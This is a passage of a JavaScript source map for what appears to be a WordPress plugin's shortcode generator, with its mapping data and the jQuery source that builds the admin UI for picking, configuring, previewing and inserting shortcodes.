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","file":"index.js","sourcesContent":["(function(){function r(e,n,t){function o(i,f){if(!n[i]){if(!e[i]){var c=\"function\"==typeof require&&require;if(!f&&c)return c(i,!0);if(u)return u(i,!0);var a=new Error(\"Cannot find module '\"+i+\"'\");throw a.code=\"MODULE_NOT_FOUND\",a}var p=n[i]={exports:{}};e[i][0].call(p.exports,function(r){var n=e[i][1][r];return o(n||r)},p,p.exports,r,e,n,t)}return n[i].exports}for(var u=\"function\"==typeof require&&require,i=0;i<t.length;i++)o(t[i]);return o}return r})()","/* eslint-disable */\n\n/* global jQuery, wp, ajaxurl, SUGL10n */\n\nwindow.SUG = {}\n\nwindow.SUG.App = (($) => {\n var $generator = $('#su-generator')\n var $search = $('#su-generator-search')\n var $filter = $('#su-generator-filter')\n var $filters = $filter.children('a')\n var $choices = $('#su-generator-choices')\n var $choice = $choices.find('span')\n var $settings = $('#su-generator-settings')\n var $prefix = $('#su-compatibility-mode-prefix')\n var $result = $('#su-generator-result')\n var $selected = $('#su-generator-selected')\n\n var self = {}\n\n self.state = {\n mceSelection: '',\n target: '',\n wpActiveEditor: null,\n context: '',\n insertArgs: '',\n preview: {\n timer: null,\n request: null\n }\n }\n\n self.el = {\n body: $('body')\n }\n\n self.init = () => {\n $filters.click(\n function (e) {\n // Prepare data\n var filter = $(this).data('filter')\n // If filter All, show all choices\n if (filter === 'all') {\n $choice.css(\n {\n opacity: 1\n }\n ).removeClass('su-generator-choice-first')\n } else { // Else run search\n var regex = new RegExp(filter, 'gi')\n // Hide all choices\n $choice.css({ opacity: 0.2 })\n // Find searched choices and show\n $choice.each(\n function () {\n // Get shortcode name\n var group = $(this).data('group')\n // Show choice if matched\n if (group.match(regex) !== null) {\n $(this)\n .css({ opacity: 1 })\n .removeClass('su-generator-choice-first')\n }\n }\n )\n }\n e.preventDefault()\n }\n )\n // Go to home link\n $('#su-generator').on(\n 'click',\n '.su-generator-home',\n function (e) {\n // Clear search field\n $search.val('')\n // Hide settings\n $settings.html('').hide()\n // Remove narrow class\n $generator.removeClass('su-generator-narrow')\n // Show filters\n $filter.show()\n // Show choices panel\n $choices.show()\n $choice.show()\n // Clear selection\n self.state.mceSelection = ''\n // Focus search field\n $search.focus()\n e.preventDefault()\n }\n )\n // Generator close button\n $('#su-generator').on(\n 'click',\n '.su-generator-close',\n function (e) {\n // Close popup\n $.magnificPopup.close()\n // Prevent default action\n e.preventDefault()\n }\n )\n // Search field\n $search.on(\n {\n focus: function () {\n // Clear field\n $(this).val('')\n // Hide settings\n $settings.html('').hide()\n // Remove narrow class\n $generator.removeClass('su-generator-narrow')\n // Show choices panel\n $choices.show()\n $choice.css(\n {\n opacity: 1\n }\n ).removeClass('su-generator-choice-first')\n // Show filters\n $filter.show()\n },\n blur: function () {},\n keyup: function (e) {\n // Prepare vars\n var $first = $('.su-generator-choice-first:first')\n var val = $(this).val()\n var regex = new RegExp(val, 'gi')\n var best = 0\n // Hotkey action\n if (e.keyCode === 13 && $first.length > 0) {\n e.preventDefault()\n $(this).val('').blur()\n $first.trigger('click')\n }\n // Hide all choices\n $choice.css(\n {\n opacity: 0.2\n }\n ).removeClass('su-generator-choice-first')\n // Loop and highlight choices\n $choice.each(\n function () {\n // Get choice data\n var data = $(this).data()\n var id = data.shortcode\n var name = data.name\n var desc = data.desc\n var group = data.group\n var matches = ([id, name, desc, group].join(' ')).match(regex)\n // Highlight choice if matched\n if (matches !== null) {\n // Highlight current choice\n $(this).css(\n {\n opacity: 1\n }\n )\n // Check for exact match\n if (val === id) {\n // Remove primary class from all choices\n $choice.removeClass('su-generator-choice-first')\n // Add primary class to the current choice\n $(this).addClass('su-generator-choice-first')\n // Prevent selecting by matches number\n best = 999\n } else if (matches.length > best) { // Check matches length\n // Remove primary class from all choices\n $choice.removeClass('su-generator-choice-first')\n // Add primary class to the current choice\n $(this).addClass('su-generator-choice-first')\n // Save the score\n best = matches.length\n }\n }\n }\n )\n // Remove primary class if search field is empty\n if (val === '') {\n $choice.removeClass('su-generator-choice-first')\n }\n }\n }\n )\n // Click on shortcode choice\n $choice.on(\n 'click',\n function (e) {\n // Prepare data\n var shortcode = $(this).data('shortcode')\n // Load shortcode options\n $.ajax(\n {\n type: 'POST',\n url: ajaxurl,\n data: {\n action: 'su_generator_settings',\n shortcode: shortcode\n },\n beforeSend: function () {\n // Hide preview box\n $('#su-generator-preview').hide()\n // Hide choices panel\n $choices.hide()\n // Show loading animation\n $settings.addClass('su-generator-loading').show()\n // Add narrow class\n $generator.addClass('su-generator-narrow')\n // Hide filters\n $filter.hide()\n },\n success: function (data) {\n // Hide loading animation\n $settings.removeClass('su-generator-loading')\n // Insert new HTML\n $settings.html(data)\n // Apply selected text to the content field\n var $content = $('#su-generator-content')\n if (typeof self.state.mceSelection !== 'undefined' && self.state.mceSelection !== '' && $content.attr('type') !== 'hidden') {\n $content.val(self.state.mceSelection)\n }\n // Init range pickers\n $('.su-generator-range-picker').each(\n function (index) {\n var $picker = $(this)\n var $val = $picker.find('input')\n var min = $val.attr('min')\n var max = $val.attr('max')\n var step = $val.attr('step')\n // Apply noUIslider\n $val.simpleSlider(\n {\n snap: true,\n step: step,\n range: [min, max]\n }\n )\n $val.show()\n $val.on(\n 'keyup blur',\n function (e) {\n $val.simpleSlider('setValue', $val.val())\n }\n )\n }\n )\n // Init color pickers\n $('.su-generator-select-color').each(\n function (index) {\n $(this).find('.su-generator-select-color-wheel').filter(':first').farbtastic('.su-generator-select-color-value:eq(' + index + ')')\n $(this).find('.su-generator-select-color-value').focus(\n function () {\n $('.su-generator-select-color-wheel:eq(' + index + ')').show()\n }\n )\n $(this).find('.su-generator-select-color-value').blur(\n function () {\n $('.su-generator-select-color-wheel:eq(' + index + ')').hide()\n }\n )\n }\n )\n // Init image sourse pickers\n $('.su-generator-isp').each(\n function () {\n var $picker = $(this)\n var $sources = $picker.find('.su-generator-isp-sources')\n var $source = $picker.find('.su-generator-isp-source')\n var $addMedia = $picker.find('.su-generator-isp-add-media')\n var $images = $picker.find('.su-generator-isp-images')\n var $cats = $picker.find('.su-generator-isp-categories')\n var $taxes = $picker.find('.su-generator-isp-taxonomies')\n var $terms = $('.su-generator-isp-terms')\n var $val = $picker.find('.su-generator-attr')\n var frame\n // Update hidden value\n var update = function () {\n var val = 'none'\n var ids = ''\n var source = $sources.val()\n // Media library\n if (source === 'media') {\n var images = []\n $images.find('span').each(\n function (i) {\n images[i] = $(this).data('id')\n }\n )\n if (images.length > 0) {\n ids = images.join(',')\n }\n }\n // Category\n else if (source === 'category') {\n var categories = $cats.val() || []\n if (categories.length > 0) {\n ids = categories.join(',')\n }\n }\n // Taxonomy\n else if (source === 'taxonomy') {\n var tax = $taxes.val() || ''\n var terms = $terms.val() || []\n if (tax !== '0' && terms.length > 0) {\n val = 'taxonomy: ' + tax + '/' + terms.join(',')\n }\n }\n // Deselect\n else if (source === '0') {\n val = 'none'\n }\n // Other options\n else {\n val = source\n }\n if (ids !== '') {\n val = source + ': ' + ids\n }\n $val.val(val).trigger('change')\n }\n // Switch source\n $sources.on(\n 'change',\n function (e) {\n var source = $(this).val()\n e.preventDefault()\n $source.removeClass('su-generator-isp-source-open')\n if (source.indexOf(':') === -1) {\n $picker.find('.su-generator-isp-source-' + source).addClass('su-generator-isp-source-open')\n }\n update()\n }\n )\n // Remove image\n $images.on(\n 'click',\n 'span i',\n function () {\n $(this).parent('span').css('border-color', '#f03').fadeOut(\n 300,\n function () {\n $(this).remove()\n update()\n }\n )\n }\n )\n // Add image\n $addMedia.click(\n function (e) {\n e.preventDefault()\n if (typeof (frame) !== 'undefined') {\n frame.close()\n }\n frame = wp.media.frames.su_media_frame_1 = wp.media(\n {\n title: SUGL10n.isp_media_title,\n library: {\n type: 'image'\n },\n button: {\n text: SUGL10n.isp_media_insert\n },\n multiple: true\n }\n )\n frame.on('open', function () {\n $('.mfp-wrap').addClass('hidden')\n })\n frame.on('close', function () {\n $('.mfp-wrap').removeClass('hidden')\n })\n frame.on(\n 'select',\n function () {\n var files = frame.state().get('selection').toJSON()\n $images.find('em').remove()\n $.each(\n files,\n function (i) {\n $images.append('<span data-id=\"' + this.id + '\"><img src=\"' + this.url + '\" alt=\"\" /><i class=\"sui sui-times\"></i></span>')\n }\n )\n update()\n }\n ).open()\n }\n )\n // Sort images\n $images.sortable(\n {\n revert: 200,\n containment: $picker,\n tolerance: 'pointer',\n stop: function () {\n update()\n }\n }\n )\n // Select categories and terms\n $cats.on('change', update)\n $terms.on('change', update)\n // Select taxonomy\n $taxes.on(\n 'change',\n function () {\n var $cont = $(this).parents('.su-generator-isp-source')\n var tax = $(this).val()\n // Remove terms\n $terms.hide().find('option').remove()\n update()\n // Taxonomy is not selected\n if (tax === '0') {\n\n } else { // Taxonomy selected\n var ajaxTermSelect = $.ajax(\n {\n url: ajaxurl,\n type: 'post',\n dataType: 'html',\n data: {\n action: 'su_generator_get_terms',\n tax: tax,\n class: 'su-generator-isp-terms',\n multiple: true,\n size: 10\n },\n beforeSend: function () {\n if (typeof ajaxTermSelect === 'object') {\n ajaxTermSelect.abort()\n }\n $terms.html('').attr('disabled', true).hide()\n $cont.addClass('su-generator-loading')\n },\n success: function (data) {\n $terms.html(data).attr('disabled', false).show()\n $cont.removeClass('su-generator-loading')\n }\n }\n )\n }\n }\n )\n }\n )\n // Init media buttons\n $('.su-generator-upload-button').each(\n function () {\n var $button = $(this)\n var $val = $(this).parents('.su-generator-attr-container').find('input:text')\n var file\n $button.on(\n 'click',\n function (e) {\n e.preventDefault()\n e.stopPropagation()\n // If the frame already exists, reopen it\n if (typeof (file) !== 'undefined') {\n file.close()\n }\n // Create WP media frame.\n file = wp.media.frames.su_media_frame_2 = wp.media(\n {\n // Title of media manager frame\n title: SUGL10n.upload_title,\n button: {\n // Button text\n text: SUGL10n.upload_insert\n },\n // Do not allow multiple files, if you want multiple, set true\n multiple: false\n }\n )\n // callback for selected image\n file.on(\n 'select',\n function () {\n var attachment = file.state().get('selection').first().toJSON()\n $val.val(attachment.url).trigger('change')\n }\n )\n file.on('open', function () {\n $('.mfp-wrap').addClass('hidden')\n })\n file.on('close', function () {\n $('.mfp-wrap').removeClass('hidden')\n })\n // Open modal\n file.open()\n }\n )\n }\n )\n // Init icon pickers\n $('.su-generator-icon-picker-button').each(\n function () {\n var $button = $(this)\n var $field = $(this).parents('.su-generator-attr-container')\n var $val = $field.find('.su-generator-attr')\n var $picker = $field.find('.su-generator-icon-picker')\n var $filter = $picker.find('input:text')\n $button.click(\n function (e) {\n $picker.toggleClass('su-generator-icon-picker-visible')\n $filter.val('').trigger('keyup')\n if ($picker.hasClass('su-generator-icon-picker-loaded')) {\n return\n }\n // Load icons\n $.ajax(\n {\n type: 'post',\n url: ajaxurl,\n data: {\n action: 'su_generator_get_icons'\n },\n dataType: 'html',\n beforeSend: function () {\n // Show loading animation\n $picker.addClass('su-generator-loading')\n // Add loaded class\n $picker.addClass('su-generator-icon-picker-loaded')\n },\n success: function (data) {\n $picker.append(data)\n var $icons = $picker.children('i')\n $icons.click(\n function (e) {\n $val.val('icon: ' + $(this).attr('title'))\n $picker.removeClass('su-generator-icon-picker-visible')\n $val.trigger('change')\n e.preventDefault()\n }\n )\n $filter.on(\n {\n keyup: function () {\n var val = $(this).val()\n var regex = new RegExp(val, 'gi')\n // Hide all choices\n $icons.hide()\n // Find searched choices and show\n $icons.each(\n function () {\n // Get shortcode name\n var name = $(this).attr('title')\n // Show choice if matched\n if (name.match(regex) !== null) {\n $(this).show()\n }\n }\n )\n },\n focus: function () {\n $(this).val('')\n $icons.show()\n }\n }\n )\n $picker.removeClass('su-generator-loading')\n }\n }\n )\n e.preventDefault()\n }\n )\n }\n )\n // Init switches\n $('.su-generator-switch').click(\n function (e) {\n // Prepare data\n var $switch = $(this)\n var $value = $switch.parent().children('input')\n var isOn = $value.val() === 'yes'\n // Disable\n if (isOn) {\n // Change value\n $value.val('no').trigger('change')\n } else { // Enable\n // Change value\n $value.val('yes').trigger('change')\n }\n e.preventDefault()\n }\n )\n $('.su-generator-switch-value').on(\n 'change',\n function () {\n // Prepare data\n var $value = $(this)\n var $switch = $value.parent().children('.su-generator-switch')\n var value = $value.val()\n // Disable\n if (value === 'yes') {\n $switch.removeClass('su-generator-switch-no').addClass('su-generator-switch-yes')\n } else if (value === 'no') { // Enable\n $switch.removeClass('su-generator-switch-yes').addClass('su-generator-switch-no')\n }\n }\n )\n // Init tax_term selects\n $('select#su-generator-attr-taxonomy').on(\n 'change',\n function () {\n var $taxonomy = $(this)\n var tax = $taxonomy.val()\n var $terms = $('select#su-generator-attr-tax_term')\n // Load new options\n window.su_generator_get_terms = $.ajax(\n {\n type: 'POST',\n url: ajaxurl,\n data: {\n action: 'su_generator_get_terms',\n tax: tax,\n noselect: true\n },\n dataType: 'html',\n beforeSend: function () {\n // Check previous requests\n if (typeof window.su_generator_get_terms === 'object') {\n window.su_generator_get_terms.abort()\n }\n // Show loading animation\n $terms.parent().addClass('su-generator-loading')\n },\n success: function (data) {\n // Remove previous options\n $terms.find('option').remove()\n // Append new options\n $terms.append(data)\n // Hide loading animation\n $terms.parent().removeClass('su-generator-loading')\n }\n }\n )\n }\n )\n // Init shadow pickers\n $('.su-generator-shadow-picker').each(\n function (index) {\n var $picker = $(this)\n var $fields = $picker.find('.su-generator-shadow-picker-field input')\n var $hoff = $picker.find('.su-generator-sp-hoff')\n var $voff = $picker.find('.su-generator-sp-voff')\n var $blur = $picker.find('.su-generator-sp-blur')\n var $color = {\n cnt: $picker.find('.su-generator-shadow-picker-color'),\n value: $picker.find('.su-generator-shadow-picker-color-value'),\n wheel: $picker.find('.su-generator-shadow-picker-color-wheel')\n }\n var $val = $picker.find('.su-generator-attr')\n // Init color picker\n $color.wheel.farbtastic($color.value)\n $color.value.focus(\n function () {\n $color.wheel.show()\n }\n )\n $color.value.blur(\n function () {\n $color.wheel.hide()\n }\n )\n // Handle text fields\n $fields.on(\n 'change blur keyup',\n function () {\n $val.val($hoff.val() + 'px ' + $voff.val() + 'px ' + $blur.val() + 'px ' + $color.value.val()).trigger('change')\n }\n )\n $val.on(\n 'keyup',\n function () {\n var value = $(this).val().split(' ')\n // Value is correct\n if (value.length === 4) {\n $hoff.val(value[0].replace('px', ''))\n $voff.val(value[1].replace('px', ''))\n $blur.val(value[2].replace('px', ''))\n $color.value.val(value[3])\n $fields.trigger('keyup')\n }\n }\n )\n }\n )\n // Init border pickers\n $('.su-generator-border-picker').each(\n function (index) {\n var $picker = $(this)\n var $fields = $picker.find('.su-generator-border-picker-field input, .su-generator-border-picker-field select')\n var $width = $picker.find('.su-generator-bp-width')\n var $style = $picker.find('.su-generator-bp-style')\n var $color = {\n cnt: $picker.find('.su-generator-border-picker-color'),\n value: $picker.find('.su-generator-border-picker-color-value'),\n wheel: $picker.find('.su-generator-border-picker-color-wheel')\n }\n var $val = $picker.find('.su-generator-attr')\n // Init color picker\n $color.wheel.farbtastic($color.value)\n $color.value.focus(\n function () {\n $color.wheel.show()\n }\n )\n $color.value.blur(\n function () {\n $color.wheel.hide()\n }\n )\n // Handle text fields\n $fields.on(\n 'change blur keyup',\n function () {\n $val.val($width.val() + 'px ' + $style.val() + ' ' + $color.value.val()).trigger('change')\n }\n )\n $val.on(\n 'keyup',\n function () {\n var value = $(this).val().split(' ')\n // Value is correct\n if (value.length === 3) {\n $width.val(value[0].replace('px', ''))\n $style.val(value[1])\n $color.value.val(value[2])\n $fields.trigger('keyup')\n }\n }\n )\n }\n )\n // Remove skip class when setting is changed\n $settings.find('.su-generator-attr').on(\n 'change keyup blur',\n function () {\n var $cnt = $(this).parents('.su-generator-attr-container')\n var _default = $cnt.data('default')\n var val = $(this).val()\n // Value is changed\n if (val != _default) {\n $cnt.removeClass('su-generator-skip')\n } else {\n $cnt.addClass('su-generator-skip')\n }\n }\n )\n // Init value setters\n $('.su-generator-set-value').click(\n function (e) {\n $(this).parents('.su-generator-attr-container').find('input').val($(this).text()).trigger('change')\n }\n )\n // Save selected value\n $selected.val(shortcode)\n // Load last used preset\n $.ajax(\n {\n type: 'GET',\n url: ajaxurl,\n data: {\n action: 'su_generator_get_preset',\n id: 'last_used',\n shortcode: shortcode,\n nonce: $('#su_generator_presets_nonce').val()\n },\n beforeSend: function () {\n // Show loading animation\n // $settings.addClass('su-generator-loading');\n },\n success: function (data) {\n // Remove loading animation\n // $settings.removeClass('su-generator-loading');\n // Set new settings\n self.setSettings(data)\n // Apply selected text to the 